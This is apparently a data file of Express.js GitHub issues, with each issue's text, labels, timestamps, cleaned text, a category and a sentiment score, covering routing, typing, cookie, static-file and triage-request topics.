    at Function.process_params (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/... [TRUNCATED]",,2023-08-22 15:02:36+00:00,2024-09-02 16:56:44+00:00,4,nan,377.0793,react failed to decode param hi i have a problem with express when enter the following url i get the error failed to decode param i use react urierror failed to decode param at decodeuricomponent at decode param users yassir workspace onboardingfleet node modules webpack dev server node modules express lib router layer js at layer match users yassir workspace onboardingfleet node modules webpack dev server node modules express lib router layer js at matchlayer users yassir workspace onboardingfleet node modules webpack dev server node modules express lib router index js at next users yassir workspace onboardingfleet node modules webpack dev server node modules express lib router index js at expressinit users yassir workspace onboardingfleet node modules webpack dev server node modules express lib middleware init js at layer handle as handle request users yassir workspace onboardingfleet node modules webpack dev server node modules express lib router layer js at trim prefix users yassir workspace onboardingfleet node modules webpack dev server node modules express lib router index js at users yassir workspace onboardingfleet node modules webpack dev server node modules express lib router index js at function process params users yassir workspace onboardingfleet node modules webpack dev server node modules express truncated,others,-0.9393
expressjs/express,1861178806,Request triager role for etroynov,"Hi folks,

I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2023-08-22 10:36:49+00:00,2024-04-11 04:47:03+00:00,1,nan,232.7571,request triager role for etroynov hi folks i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,1857328936,MIME Type error for static directory.,"Hey so i have a strange problem. I have two react apps on the same express server that I'm serving as two different routes using app.use('/', express.static('./path_to_app')); and app.use('/map', express.static('./path_to_app_two'). there are a lot of other things going on with the express server and everything runs fine accept one react app works fine and the second one, well call map here, is sending css and js files with the wrong MIME type. Let me know what you want to see posted and I can supply it, or if this is a common issue aswell let me know. I have cleaned my cache and reinstalled all required modules. Its just strange that the same code works for one app but not the other.",,2023-08-18 21:53:02+00:00,2024-07-18 18:28:50+00:00,2,nan,334.8582,mime type error for static directory hey so i have a strange problem i have two react apps on the same express server that i m serving as two different routes using app use express static path to app and app use map express static path to app two there are a lot of other things going on with the express server and everything runs fine accept one react app works fine and the second one well call map here is sending css and js files with the wrong mime type let me know what you want to see posted and i can supply it or if this is a common issue aswell let me know i have cleaned my cache and reinstalled all required modules its just strange that the same code works for one app but not the other,bug,-0.4234
expressjs/express,1846076068,Missing contact info for maintainer,"@dougwilson it looks you're the maintainer, what's the best method to contact you. Via the email address you use in commits?",,2023-08-11 01:22:37+00:00,2023-08-11 01:25:17+00:00,2,nan,0.0019,missing contact info for maintainer dougwilson it looks you re the maintainer what s the best method to contact you via the email address you use in commits,others,0.4767
expressjs/express,1838061303,timeout abnormal ,"when i use node:18.13.0 and express:4.18.2 to upload file, Uploading will fail between 5 minutes and 6 minutes.
Firstly, response will emit ""close"". Secondly, request will be aborted.
",,2023-08-06 05:47:39+00:00,2025-07-12 19:16:52+00:00,3,nan,706.562,timeout abnormal when i use node and express to upload file uploading will fail between minutes and minutes firstly response will emit close secondly request will be aborted,others,-0.4588
expressjs/express,1837820740,Cannot read properties of undefined (reading 'prototype')  on Object.create(http.ServerResponse.prototype)`,"using ""express"": ""^4.18.2"", to run my website but it gives error as below

```
Uncaught TypeError: Cannot read properties of undefined (reading 'prototype')
    at Object.<anonymous> (response.js:43:45)
    at a (index.2a3db62f.js:1:455)
    at Object.<anonymous> (index.2a3db62f.js:1:768)
    at a (index.2a3db62f.js:1:455)
    at index.js:11:1
```

and it takes us to this line

`var res = Object.create(http.ServerResponse.prototype)`


check here: https://www.recursivezero.com/  and click on any page , it is not navigating because of this error.
",,2023-08-05 15:57:47+00:00,2023-08-05 16:00:20+00:00,3,nan,0.0018,cannot read properties of undefined reading prototype on object create http serverresponse prototype using express to run my website but it gives error as below and it takes us to this line check here and click on any page it is not navigating because of this error,others,-0.8151
expressjs/express,1828436020,static can not support heic image file,"file:
static/css/b.heic
```
app.use(express.static(szSSP, expressOptions));
// content-type:image/heic
```
now can not found
https://127.0.0.1:2222/css/b.heic


",,2023-07-31 05:29:34+00:00,2023-08-02 07:46:02+00:00,0,nan,2.0948,static can not support heic image file file static css b heic now can not found,help,-0.3089
expressjs/express,1825221019,Cookie maxAge option should be seconds not milliseconds,"Why does Express's cookie `maxAge` option require milliseconds when IETF spec says, ""The Max-Age attribute defines the lifetime of the cookie, in seconds."" Express should conform to the standard, no?",,2023-07-27 20:58:52+00:00,2023-07-27 21:04:31+00:00,3,nan,0.0039,cookie maxage option should be seconds not milliseconds why does express s cookie option require milliseconds when ietf spec says the max age attribute defines the lifetime of the cookie in seconds express should conform to the standard no,others,-0.296
expressjs/express,1818893192,Strange issue running Express.js under Deno,"I have found the weirdest bug in an application using Express.js running under Deno: In short, **static files aren't returned. This works under Node.js but not under Deno.**

I've created a sample project containing a ""witness"" project running the same code under Node.js without any problems. I actually don't know whether this is an Express.js issue, or a Deno problem, or something wrong with my application.

[https://gitlab.com/akosma/express_node_deno](https://gitlab.com/akosma/express_node_deno/)

If this issue is related to Deno, feel free to close it.

Related issue: https://github.com/denoland/deno/issues/19927",,2023-07-24 18:08:34+00:00,2023-07-25 05:50:08+00:00,2,nan,0.4872,strange issue running express js under deno i have found the weirdest bug in an application using express js running under deno in short static files aren t returned this works under node js but not under deno i ve created a sample project containing a witness project running the same code under node js without any problems i actually don t know whether this is an express js issue or a deno problem or something wrong with my application if this issue is related to deno feel free to close it related issue,bug,-0.1811
expressjs/express,1810163977,Can't use custom type for Request and Response objects in Express 5,"Hi. I am trying to use a custom middleware which injects the users company in either the request or response objects. I **don't want** to use `declare global` for this, as not all of my requests in the app will use this custom middleware. I tried a couple of things, and everything gives me some sort of typescript error

```
export interface CompanyReq extends Request {
    company: Company;
}

export default function (companyRepository: CompanyRepository) {
    return async (req: CompanyReq, _res: Response, next: NextFunction) => {
        const company = await companyRepository.findByAccountId(req.user.id);
        if (!company) {
            throw new CompanyNotFound();
        }
        req.company = company;
        next();
    };
}
```

```
this.router.get(
            ""/"",
            [hasCompany(companyRepository)],
            this.getCompany
        );
```

I also tried all of these interfaces: 

```
export interface CompanyReq extends Request {
    company: Company;
}

export interface MyResp extends Response {
    locals: {
        company: Company;
    };
}

interface ResLocals extends Record<string, any> {
    company: Company;
}

export interface Responsee<ResBody = any, Locals extends Record<string, any> = Record<string, any>>
    extends core.Response<ResBody, Locals> {

    locals: ResLocals & Locals;
}

export interface Responseeee extends Response {
    locals: Record<""company"", ResLocals>;
}
```

Nothi... [TRUNCATED]",,2023-07-18 15:24:40+00:00,2024-09-10 13:31:46+00:00,3,nan,419.9216,can t use custom type for request and response objects in express hi i am trying to use a custom middleware which injects the users company in either the request or response objects i don t want to use for this as not all of my requests in the app will use this custom middleware i tried a couple of things and everything gives me some sort of typescript error i also tried all of these interfaces nothi truncated,feature,-0.4576
expressjs/express,1809809589,Routing path match is different in app.use('/') and router.get('/'),"This is probably more of a question than a bug.

In app.mjs I have this code:

```
import indexRouter from ""./routes/index.mjs"";
import anotherRouter from ""./routes/another.mjs"";
const app = express();
app.use(""/"", indexRouter);
app.use(""/another"", anotherRouter);
```

In indexRouter I have two  methods:

```
router.get('/', someFunction);
router.get('/:anything', someFunction);
```

Calling 'GET /another' would route to my indexRouter, because in there I have one matching method with dynamic param like ""/:anything"". So far I understand, that the request is not routed to anotherRouter, because according the documentation the path ""/"" is translated to regex ""/."" where dot means anything. So the solution for me is to put the the app.use(""/another"", anotherRouter) before the indexRouter.

But I don't understand, why this request is not routed to my router.get('/', someFunction), but instead it is routed to router.get('/:anything', someFunction). From the behaviour of path matching in app.use I would expect the same in router.get, so that ""/"" translates to regex ""/.""

Can somebody please explain this behaviour to me?

Thanks very much.",,2023-07-18 12:17:03+00:00,2023-07-20 21:15:24+00:00,2,nan,2.3739,routing path match is different in app use and router get this is probably more of a question than a bug in app mjs i have this code in indexrouter i have two methods calling get another would route to my indexrouter because in there i have one matching method with dynamic param like anything so far i understand that the request is not routed to anotherrouter because according the documentation the path is translated to regex where dot means anything so the solution for me is to put the the app use another anotherrouter before the indexrouter but i don t understand why this request is not routed to my router get somefunction but instead it is routed to router get anything somefunction from the behaviour of path matching in app use i would expect the same in router get so that translates to regex can somebody please explain this behaviour to me thanks very much,others,0.8458
expressjs/express,1794125610,Request > Autoreload the specific route on Changes,"Express is my Favorite Middleware for node js.
I think this one lacks the automatic reloading of those routes that were modified. It is a great feature and would save us from having to restart the entire application with each change. I did not find someone who has consulted it but for that same reason I raise it.",,2023-07-07 19:35:14+00:00,2024-11-05 10:51:37+00:00,5,nan,486.6364,request autoreload the specific route on changes express is my favorite middleware for node js i think this one lacks the automatic reloading of those routes that were modified it is a great feature and would save us from having to restart the entire application with each change i did not find someone who has consulted it but for that same reason i raise it,feature,0.6858
expressjs/express,1765412521,Getting an output: Server started on PORT:4000 in undefined node,"This is server.js

const dotenv = require('dotenv');
dotenv.config({path: './config/config.env'});

const PORT = process.env.port || 4000;
const app = require('./app');

app.listen(PORT, ()=>{
  console.log(`Server started on PORT:${PORT} in ${process.env.NODE_ENV} node.`);
})",question,2023-06-20 13:27:36+00:00,2023-11-28 20:22:43+00:00,4,question,161.2883,getting an output server started on port in undefined node this is server js const dotenv require dotenv dotenv config path config config env const port process env port const app require app app listen port console log,help,0.0
expressjs/express,1762242080,Creating a custom framework of express,Hello i want to make a framework based off express like in the docs where theses frameworks do. [link](https://expressjs.com/en/resources/frameworks.html) but how are they using express under the hood.,,2023-06-18 11:10:31+00:00,2024-11-12 11:58:16+00:00,4,nan,513.0332,creating a custom framework of express hello i want to make a framework based off express like in the docs where theses frameworks do link but how are they using express under the hood,others,0.3612
expressjs/express,1751382015,Server started on PORT : undefined in DEVELOPMENT node.,"`const` app = require('./app');

const dotenv = require('dotenv');

dotenv.config({path: 'backend/config/config.env'});

app.listen(process.env.PORT, ()=>{

    console.log(`Server started on PORT:${process.env.PORT} in ${process.env.NODE_ENV} node.`);

})`",,2023-06-11 11:27:48+00:00,2024-01-19 06:40:07+00:00,22,nan,221.8002,server started on port undefined in development node app require app const dotenv require dotenv dotenv config path backend config config env app listen process env port console log,others,0.0
expressjs/express,1751156511,Use of name 'express' in JSX template engine name,"I'm soon to release a JSX based template engine for Express (powered by [NakedJSX](https://nakedjsx.org)), and I've tentatively named it @nakedjsx/express-jsx. I have opened this issue to ask whether you are comfortable with this use of the name 'express'.

Of course, 'express-jsx' by itself wouldn't be appropriate as it would create confusion about who made it. But perhaps given that it would live under the @nakedjsx org, the name used in all practical contexts would be the combined '@nakedjsx/express-jsx' which I like because it makes two things clear:

1. It's not an official Express project
2. It's a thing made by @nakedjsx that probably adds JSX to Express.

What are your thoughts?",meta,2023-06-10 23:36:21+00:00,2025-02-21 17:30:09+00:00,3,meta,621.7457,use of name express in jsx template engine name i m soon to release a jsx based template engine for express powered by nakedjsx and i ve tentatively named it nakedjsx express jsx i have opened this issue to ask whether you are comfortable with this use of the name express of course express jsx by itself wouldn t be appropriate as it would create confusion about who made it but perhaps given that it would live under the nakedjsx org the name used in all practical contexts would be the combined nakedjsx express jsx which i like because it makes two things clear it s not an official express project it s a thing made by nakedjsx that probably adds jsx to express what are your thoughts,others,0.8294
expressjs/express,1744346886,"Literal ASCII record separator in a header value causes express to hang, return 400 bad request. ","Example: Submitting any header with a literal ASCII record separator inside (UTF16 \X1E, Decimal 30) causes Express to hang and return 400 bad request. 

Turning on express debug logging shows that, in fact, the express engine is stalled and no more logging is produced while a request is executing containing a header with a record separator. It doesn't matter which header it is. 
Later requests return OK. It's possible a flood of similar requests will prevent processing of others. 

Steps to reproduce:
- Use Runkit to generate a hello world Express environment: https://ghgohw6lep66.runkit.sh/ https://expressjs.com/en/starter/hello-world.html
- Use any API testing client (I used Talend) 
- GET / with a header like
- X-Any-Header-Name: Bearer email@example.comSpookyDomainWithARecordSeparator 
- Expected: 200 OK
- Actual: 400 Bad Request, no debug logging is produced and there is no evidence in request logs there was an attempt to reach this endpoint. 

",,2023-06-06 18:08:51+00:00,2023-06-06 18:12:29+00:00,1,nan,0.0025,literal ascii record separator in a header value causes express to hang return bad request example submitting any header with a literal ascii record separator inside utf x e decimal causes express to hang and return bad request turning on express debug logging shows that in fact the express engine is stalled and no more logging is produced while a request is executing containing a header with a record separator it doesn t matter which header it is later requests return ok it s possible a flood of similar requests will prevent processing of others use runkit to generate a hello world express environment use any api testing client i used talend get with a header like x any header name bearer email example com spookydomainwitharecordseparator expected ok actual bad request no debug logging is produced and there is no evidence in request logs there was an attempt to reach this endpoint,feature,-0.8519
expressjs/express,1740987652,Different destructuring behavior for req object for NodeJS version 16 and 14. ,[For this code](https://runkit.com/sakib-87/express-request-headers-destructuring). If runs with node-14 and older got the headers object but If runs with node-16 and newer don't get the headers object.,question,2023-06-05 05:19:34+00:00,2023-06-05 05:21:33+00:00,1,question,0.0014,different destructuring behavior for req object for nodejs version and for this code if runs with node and older got the headers object but if runs with node and newer don t get the headers object,help,0.0
expressjs/express,1740474250,Express v5 blockers,"_I started writing this as a reply to https://github.com/expressjs/express/issues/4920#issuecomment-1575599117 but the issue was locked just before I finishing typing my comment._

@dougwilson Thanks for your continued work on express. I'm sorry you've had to deal with reports of bogus security vulnerabilities as well as folks who don't know better assuming that you've abandoned the project. I hope it doesn't get you down. ❤️

I do have a question re:
> reach out and I would be happy to Zoom with you or similar and we can work on the remaining items together, like see what you want to help with or hear what there is and you can let me know what you can do.

Are you open to the idea of enumerating the remaining work to be done in public, rather than in private Zoom calls, e.g. on this issue or another one?

It may seem like asking folks to get on a Zoom call is not a big ask, but time zones and other factors could make that a nontrivial barrier. Moreover, documenting this in a public issue would eliminate the need for repeating yourself over `N` Zoom calls.

The last update said:
> Express 5 is pretty much completed at this point, and we're just finishing up the last code merges in upstream modules in order to bump the dependencies finally in the 5.0 branch.

If this is still the case, perhaps you could provide more details about which modules are currently blocked and link to any relevant PRs/issues that are stalled. Even if you'd still prefer to for folks that ... [TRUNCATED]",meta,2023-06-04 16:53:07+00:00,2024-05-13 15:30:26+00:00,33,meta,343.9426,express v blockers i started writing this as a reply to but the issue was locked just before i finishing typing my comment dougwilson thanks for your continued work on express i m sorry you ve had to deal with reports of bogus security vulnerabilities as well as folks who don t know better assuming that you ve abandoned the project i hope it doesn t get you down i do have a question re reach out and i would be happy to zoom with you or similar and we can work on the remaining items together like see what you want to help with or hear what there is and you can let me know what you can do are you open to the idea of enumerating the remaining work to be done in public rather than in private zoom calls e g on this issue or another one it may seem like asking folks to get on a zoom call is not a big ask but time zones and other factors could make that a nontrivial barrier moreover documenting this in a public issue would eliminate the need for repeating yourself over zoom calls the last update said express is pretty much completed at this point and we re just finishing up the last code merges in upstream modules in order to bump the dependencies finally in the branch if this is still the case perhaps you could provide more details about which modules are currently blocked and link to any relevant prs issues that are stalled even if you d still prefer to for folks that truncated,others,0.9806
expressjs/express,1733002940,ErrorRequestHandler type not detected in VSCode,"In Typescript, with ""no implicit any"" setting, I am unable to use the custom error handling OOTB.  This appears to be an issue with the types.  The following produces errors in VSCode and tsc.

```
import express, { NextFunction } from 'express';

const expressApp = express();
expressApp.use((req, res, next) => {});
expressApp.use((err, req, res, next) => {});  //<--------problem
expressApp.use((err: any, req: any, res: any, next: NextFunction) => {});
```

There is a repo here: https://github.com/staplespeter/expressjs-bug-types-ErrorRequestHandler

In the code inspector in VSCode the RequestHandler type is displayed for the 3-arg version and RequestHandlerParams for the 4-param version of the possible arguments to use().

I have had a look at, and played around with the typedefs to no avail.
Please let me know if i have missed something or if the types are not correctly defined.
Thanks!",discuss,2023-05-30 20:58:18+00:00,2024-07-26 20:51:07+00:00,5,discuss,422.995,errorrequesthandler type not detected in vscode in typescript with no implicit any setting i am unable to use the custom error handling ootb this appears to be an issue with the types the following produces errors in vscode and tsc there is a repo here in the code inspector in vscode the requesthandler type is displayed for the arg version and requesthandlerparams for the param version of the possible arguments to use i have had a look at and played around with the typedefs to no avail please let me know if i have missed something or if the types are not correctly defined thanks,bug,-0.8861
expressjs/express,1730491376,Request triager role for ehtisham2022skipq,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2023-05-29 10:15:57+00:00,2024-04-11 04:46:15+00:00,1,nan,317.771,request triager role for ehtisham skipq i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,1730251455,'res.sendFile' doesn't respect options described by the docs,"When using [res.sendFile](https://expressjs.com/en/4x/api.html#res.sendFile), seems that it respects only the `headers` option for the response, all caching and maxAge are being ignored.",,2023-05-29 07:38:23+00:00,2023-05-31 13:23:56+00:00,4,nan,2.24,res sendfile doesn t respect options described by the docs when using res sendfile seems that it respects only the option for the response all caching and maxage are being ignored,documentation,0.4767
expressjs/express,1725990523,I'm receiving nothing in my body request instead of a json ,"import { PrismaHelper } from ""../infra/db/prisma/prisma"";
import app from './config/app'
import { exec } from 'node:child_process'

const main = async () => {
  const server = app.listen(process.env.PORT || 3030, () => {
    exec(""npx prisma migrate dev --name v4 && npx prisma db push"")
    console.log(`server is running on port ${process.env.PORT || 3030}`)
  })
  process.on('SIGTERM', () => {
    server.close(() => {
      PrismaHelper.$disconnect()
      process.exit(0)
    });
  });
}

main()
",,2023-05-25 14:56:15+00:00,2023-05-31 13:17:43+00:00,1,nan,5.9316,i m receiving nothing in my body request instead of a json import prismahelper from infra db prisma prisma import app from config app import exec from node child process const main async const server app listen process env port exec npx prisma migrate dev name v npx prisma db push console log process on sigterm server close prismahelper disconnect process exit main,feature,0.0
expressjs/express,1721076754,SyntaxError: Invalid regular expression during path-to-regexp conversion,"Hi there,

I've encountered an issue when using express with my Express.js/Express-OpenAPI application. This application was based on a fresh installation.

The error I'm facing is as follows:
```
C:\Users\Alex\Visual Studio Code\TestProject\CustomerService\api\node_modules\express\node_modules\path-to-regexp\index.js:128
  return new RegExp(path, flags);
         ^

SyntaxError: Invalid regular expression: /^\/customer\(?:([^\/]+?))\/?$/: Unmatched ')'
```

This error occurs when my application is starting up.

Here is my project structure:
```
C:.
│   app.js
│   package-lock.json
│   package.json
│
├───api
│   │   api-doc.js
│   │
│   └───paths
│       │   test.js
│       │
│       └───customer
│               customer.js
│               {id}.js
│
└───bin
        www
```

Here is my package.json
```json
{
  ""name"": ""customer-service"",
  ""version"": ""0.0.0"",
  ""private"": true,
  ""scripts"": {
    ""node"": ""nodemon app.js"",
    ""start"": ""node ./bin/www""
  },
  ""dependencies"": {
    ""cookie-parser"": ""~1.4.4"",
    ""debug"": ""~4.3.4"",
    ""dotenv"": ""^16.0.3"",
    ""express"": ""~4.18.2"",
    ""express-openapi"": ""^12.1.1"",
    ""morgan"": ""~1.10.0"",
    ""nodemon"": ""^2.0.20"",
    ""swagger-ui-express"": ""^4.6.1""
  }
}
```

Here is my code for the `test.js`, `customer.js`, and `customer/{id}.js`
```js
module.exports = function () {
    let operations = {
        GET,
    };

    async function GET(req, res, next) {
        cons... [TRUNCATED]",,2023-05-23 03:13:10+00:00,2023-05-23 03:24:19+00:00,1,nan,0.0077,syntaxerror invalid regular expression during path to regexp conversion hi there i ve encountered an issue when using express with my express js express openapi application this application was based on a fresh installation the error i m facing is as follows this error occurs when my application is starting up here is my project structure here is my package json here is my code for the and js module exports function let operations get async function get req res next cons truncated,bug,-0.5719
expressjs/express,1714785057,Update multipart example or create new example for multer?,"Multer seems to be more up-to-date and is a popular choice for handling multipart data. I was wondering if the existing multipart example should be updated to use multer, or if there should be an example separate from the multiparty example? If so, I'd be more than happy to submit a PR for this.",examples,2023-05-17 23:42:37+00:00,2024-02-19 17:02:53+00:00,2,examples,277.7224,update multipart example or create new example for multer multer seems to be more up to date and is a popular choice for handling multipart data i was wondering if the existing multipart example should be updated to use multer or if there should be an example separate from the multiparty example if so i d be more than happy to submit a pr for this,feature,0.835
expressjs/express,1713306229,Feature Request: Add automatic Swagger UI generation to Express ,"Hello, folks 

I believe it would be beneficial to add a feature to the Express framework that automatically generates Swagger UI documentation. This feature is inspired by FastAPI, which includes Swagger UI automatically and offers several advantages in terms of API documentation, exploration, and ease of use.

Proposed Solution:
I suggest integrating a middleware or plugin into Express that generates Swagger UI documentation based on the defined routes and API specifications. This would allow developers to easily visualize and interact with the API endpoints during development and testing.

**Benefits**:

- Improved Developer Experience: Automatically generating Swagger UI documentation will enhance the development experience by providing a comprehensive and interactive API reference.
- Easier Documentation Maintenance: With automatic Swagger UI generation, developers won't have to manually update API documentation as it will be synchronized with the codebase.
- Enhanced Collaboration: Swagger UI provides a user-friendly interface for exploring and understanding the API, making it easier for team members and stakeholders to collaborate and provide feedback.

**Potential Challenges:**

- Integrating Swagger UI into Express may involve addressing the following challenges:
- 
- Identifying a suitable middleware or plugin that seamlessly integrates with Express and supports automatic Swagger UI generation.
- Ensuring compatibility with different versions of Ex... [TRUNCATED]",discuss,2023-05-17 07:33:33+00:00,2023-10-11 08:43:58+00:00,7,discuss,147.0489,feature request add automatic swagger ui generation to express hello folks i believe it would be beneficial to add a feature to the express framework that automatically generates swagger ui documentation this feature is inspired by fastapi which includes swagger ui automatically and offers several advantages in terms of api documentation exploration and ease of use proposed solution i suggest integrating a middleware or plugin into express that generates swagger ui documentation based on the defined routes and api specifications this would allow developers to easily visualize and interact with the api endpoints during development and testing benefits improved developer experience automatically generating swagger ui documentation will enhance the development experience by providing a comprehensive and interactive api reference easier documentation maintenance with automatic swagger ui generation developers won t have to manually update api documentation as it will be synchronized with the codebase enhanced collaboration swagger ui provides a user friendly interface for exploring and understanding the api making it easier for team members and stakeholders to collaborate and provide feedback potential challenges integrating swagger ui into express may involve addressing the following challenges identifying a suitable middleware or plugin that seamlessly integrates with express and supports automatic swagger ui generation ensuring compatibility with different versions of ex truncated,feature,0.9906
expressjs/express,1712492086,[FEATURE REQUEST]: Built-in `express-async-errors`,"I use a custom express error handler and found that if the router is async, the error handler doesn't work... I found a hack ([express-async-errors](https://github.com/davidbanham/express-async-errors)), but I don't like using packages that edit libraries, so why not just add support for async errors directly in express v4?",,2023-05-16 18:05:12+00:00,2023-05-16 18:06:55+00:00,4,nan,0.0012,feature request built in i use a custom express error handler and found that if the router is async the error handler doesn t work i found a hack express async errors but i don t like using packages that edit libraries so why not just add support for async errors directly in express v,bug,-0.7534
expressjs/express,1702787779,req & res types,"Hello there, I am using Express.js with TypeScript, and I want to put my own custom stuff and use it in every router.

Right now, I am using this:

`index.ts`
```ts
// Other code...
app.listen(3000, () => console.log(""Running""));

declare module ""express-serve-static-core"" {
  interface Request {
    lang: Language;
  }
  interface Response {
    sendError: (
      error: Parameters<typeof getErrorMessage>[0],
      status: HttpCodes,
      arg?: any
    ) => Promise<void>;
  }
}

```

Is there a better way to do this?",question,2023-05-09 21:36:47+00:00,2023-05-20 18:54:44+00:00,2,question,10.8875,req res types hello there i am using express js with typescript and i want to put my own custom stuff and use it in every router right now i am using this is there a better way to do this,help,0.4939
expressjs/express,1698971887,express request and response processing ,"I see that expressjs app has a `stack` of `Layer` object Arrays. Which is the function that is used to pass the 

I want to know:
- When a request is sent from the `http` client which `function is invoked first` and how is the stack array functions with `middlewares` invoked and results passed stepwise? 
- Here is an example `app.get(path, [middleware(req, res, next), m2(req, res, next), m3(req, res, next), m4(req, res, next)], handler(req, res))` => which function invokes functions stepwise => `[middleware(req, res, next), m2(req, res, next), m3(req, res, next), m4(req, res, next), handler(req, res)]`
- Where is the `request` and `response` objects created that is passed as `arguments`?
- Where is the `response` object callback function for `send` => `onfinish`/ `onend` functions which I can use to get the `send`/ `sendfile's` response object into a `variable` for an `interceptor`?

I am looking for the entry of the request and exit if the response (with the response result).
 
",question,2023-05-07 09:14:52+00:00,2024-08-23 08:54:35+00:00,2,question,473.9859,express request and response processing i see that expressjs app has a of object arrays which is the function that is used to pass the i want to know when a request is sent from the client which and how is the stack array functions with invoked and results passed stepwise here is an example which function invokes functions stepwise where is the and objects created that is passed as where is the object callback function for functions which i can use to get the response object into a for an i am looking for the entry of the request and exit if the response with the response result,feature,0.3182
expressjs/express,1698773915,Request triager role for <Nicaneri>,"
![Uploading Screenshot_20230507_044347_796fe9d23d8d59ff5360ab8ee32f2fda.jpg…]()
I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express
",,2023-05-06 20:51:27+00:00,2024-04-11 04:45:54+00:00,1,nan,340.3295,request triager role for uploading screenshot fe d d d ff ab ee f fda jpg i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.7906
expressjs/express,1696961102,about ` await next(),"```js
const express = require('express');
const app = express();

const vv = {
}

const middleOne = async (req, res, next) => {
  await next();
  console.log(vv, 'middle1');
}

const haha = () => {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve('hahahhahhah');
    }, 3000);
  })
}

const middleTwo = async (req, res, next) => {
  const result = await haha();
  vv.uname = result;
  console.log(vv, 3232);
  next();
}

app.use(middleOne);
app.use(middleTwo);


app.get('/', (req, res, next) => {
  res.send({
    'cute': 'murphy'
  });
})


app.listen(3002, (res) => {
  console.log(res, 22);
})
```
how middleOne wait the result of middleTwo `` and print the newest result of vv.
now it print 
```
{} middle1
{ uname: 'hahahhahhah' } 3232
```",,2023-05-05 03:42:40+00:00,2023-05-05 04:51:14+00:00,1,nan,0.0476,about await next how middleone wait the result of middletwo and print the newest result of vv now it print,others,0.1027
expressjs/express,1695873634,Force Content-Type,"Hello,

When using res.set() to set the response headers, express prevent invalid media types to be set as Content-Type. How can I force express to accept an invalid media type?

Regards,",question,2023-05-04 12:02:10+00:00,2023-05-04 16:41:07+00:00,4,question,0.1937,force content type hello when using res set to set the response headers express prevent invalid media types to be set as content type how can i force express to accept an invalid media type regards,help,0.4019
expressjs/express,1695580806,Error Handling Broken,"*Continuing from; https://github.com/expressjs/express/discussions/5182*

After updating to `4.18.x` from `4.17.x` it appears that the error handling middleware has broken in a sense.

On version `4.17.x`  the below handles and the `e.type` below are perfectly fine and returns the user to another page. However, on `4.18.x` it doesn't even execute this code on `4.18` versions.

```js
app.post('/auth/register', passport.authenticate('2fa-totp', {failureRedirect: `/register`}), async function(req, res) {
	// Do some things. however, the passport packages throws the error.
	// Error; {type: ""test"", code: 401}
});

app.use(function(e, req, res, next) {
        if(e?.type === ""test"") return res.redirect(`/login?err`);
    });
```

For passports error handling [here](https://github.com/FAXES/passport-2fa-faxes/blob/main/lib/strategy.js#L80) is where it's handled from.",awaiting more info,2023-05-04 09:02:06+00:00,2023-06-10 06:25:25+00:00,7,awaiting more info,36.8912,error handling broken continuing from after updating to from it appears that the error handling middleware has broken in a sense on version the below handles and the below are perfectly fine and returns the user to another page however on it doesn t even execute this code on versions for passports error handling here is where it s handled from,bug,-0.8481
expressjs/express,1692393500,RangeError: Maximum call stack size exceeded,"I am Having Big Application which having more than 3000 routes(end points) ,Im getting Maximum call stack error for the last set of Api's when i hit the api that declared at top level i got the output can anyone help me for adding more routes in node, express js",awaiting more info,2023-05-02 13:07:43+00:00,2023-05-03 12:47:24+00:00,3,awaiting more info,0.9859,rangeerror maximum call stack size exceeded i am having big application which having more than routes end points im getting maximum call stack error for the last set of api s when i hit the api that declared at top level i got the output can anyone help me for adding more routes in node express js,bug,0.128
expressjs/express,1689732554,"Cookies set on development, but not on production","2 Docker containers:

1. **Server**: Express.JS REST API with JWT authentication.
2. **Client**: Next.JS app that uses Axios to talk with the server.

I tested it on localhost with Docker Compose: Everything working fine (both Postman and the browser successfully store the token as a cookie to use on subsequent requests.).

I deployed it to Google Cloud Run (one service for each container). Everything working fine except that now only requests made through Postman are storing the token as a cookie.

The browser (the Next.JS app) no longer does the same, even though the request returns a successful response there is no token in the browser cookies.

I did some research, found a few similar problems, and the solutions usually involve setting up some CORS configurations, so I updated my code by adding these configurations, but the issue remains.

I am currently trying it like this:

Server-side:
```
export const login = async (req: Request, res: Response) => {

...

  const accessToken = jwt.sign({ username, id, isAdmin }, jwtSecret, {
    expiresIn: ""12h"",
  });

  res
    .status(200)
    .cookie(""accessToken-Myapp"", accessToken, {
      secure: true,
      sameSite: ""none"",
    })
    .end();
};
```

```
const app = express();

app.use(helmet());
app.use(
  rateLimit({
    max: 300,
    windowMs: 60 * 60 * 1000,
    message: ""Please try again later!"",
  })
);

const corsConfig = {
  origin: true,
  credentials: true,
  allowed... [TRUNCATED]",question,2023-04-30 00:42:42+00:00,2024-08-23 08:55:20+00:00,3,question,481.3421,cookies set on development but not on production docker containers server express js rest api with jwt authentication client next js app that uses axios to talk with the server i tested it on localhost with docker compose everything working fine both postman and the browser successfully store the token as a cookie to use on subsequent requests i deployed it to google cloud run one service for each container everything working fine except that now only requests made through postman are storing the token as a cookie the browser the next js app no longer does the same even though the request returns a successful response there is no token in the browser cookies i did some research found a few similar problems and the solutions usually involve setting up some cors configurations so i updated my code by adding these configurations but the issue remains i am currently trying it like this server side const app express app use helmet app use ratelimit max windowms message please try again later const corsconfig origin true credentials true allowed truncated,help,0.9657
expressjs/express,1687526380,rest api version best practice?,"Hi Express,

when I want to manage multiple restufl api versions in one codebase. I faced a problem. I don't copy v1 version fold to v2 then change v2 folder source code,. In this case, it would create so much duplicated source code. Is there a way that we can identify controller/service modules to be use in specific api versions? for example, some controller we could use both for v1 and v2, some of controllers , we only use it in v2. Just like ""versioning"" middleware in aspnet core. thx~

